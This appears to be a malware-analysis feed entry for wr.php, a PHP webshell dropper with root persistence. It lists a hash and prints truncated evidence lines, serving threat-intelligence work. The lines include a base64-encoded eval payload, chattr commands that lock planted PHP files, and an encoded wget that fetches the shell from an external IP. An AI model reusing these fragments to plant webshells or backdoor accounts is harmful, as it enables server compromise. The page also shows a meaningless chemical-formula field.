Hostile 100% linux Download

wr.php

PHP webshell with root persistence

Creates UID/GID-zero login accountCron with base64 decode
SHA-2565483f928b33e4ad3cbb016f04f0feb0a9429570071cc93393a800b9faf85eddb
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeO₆(P₂As₄C₃DyLaXe)H₅(Cm₅Db₂F₁₁Os₅Po₄)Md

Evidence

Encoded URL pinned to external IPv4 lines 1–2
1#!/bin/bash
2echo -n 'PD9waHAgLypESmVsQmpEbzRzYXdQNzVKSEZBSFBkbjlIY2xJV3ZoQWZ3V1FQemZVMnFyUnl3QmZjY1gxcWthN3d3Ki8gZXZhbCAvKlF0MTczaERaN3R6bm9CTlB0bGw1QnhoeXpJU0pRcGZHU2hPVnlyVkdWdjNqNiovICggLypSOUFkdkZPMlhtQ0ZmbHZFQmJ3U1pzcnJvOG1UYiovIGJhc2U2NF9kZWNvZGUgLypHMDNQQWdrZzRuZHJaU0dsbmtXelJQeWtnMEpvbkNBM0REVGVVKi8gKCAnYzJWemMybHZibDl6ZEdGeWRDZ3BPd3BwWmlBb2FYTnpaWFFvSkY5U1JWRlZSVk5VV3lkdFpEVW5YU2tnSmlZZ2JXUTFLQ1JmVWtWUlZVVlRWRnNuYldRMUoxMHBJRDA5SUNkbE1qY3dPR1kyTVdKa1pUQTBNV1JtTnpKaVltVmpZbVV6TVdFeU16SmhZU2NwSUhzS0lDQWdJQ1JmVTBWVFUwbFBUbHNuYkc5dmEya25YU0E5SUNkc2IyZG5aV1FuT3dwOUNtbG1JQ2doYVhOelpYUW9K …
chattr command to modify file lines 27–31
27:18… ml/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
28chmod +x /var/www/html/admin/views/ajax.php 2>/dev/null
29chmod +x /var/www/html/admin/views/some.php 2>/dev/null
30chattr +i /var/www/html/admin/views/ajax.php 2>/dev/null || chattr +a /var/www/html/admin/views/ajax.php 2>/dev/null
31chattr +i /var/www/html/admin/views/some.php 2>/dev/nul …
Encoded payload detected: base64 lines 33–34
33:30… 2>/dev/null || chattr +a /var/www/html/h.php 2>/dev/null
34echo 'UmV3cml0ZUVuZ2luZSBPbgojIGVuYWJsZSBzeW1ib2xpYyBsaW5rcwpPcHRpb25zICtGb2xsb3dTeW1MaW5rcwpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9I …
Curl/wget invocation requires option or URL line 36
36:14882… bHMgLWxzIC9ob21lCmVjaG8gJ3dnZXQgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvei93ci5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.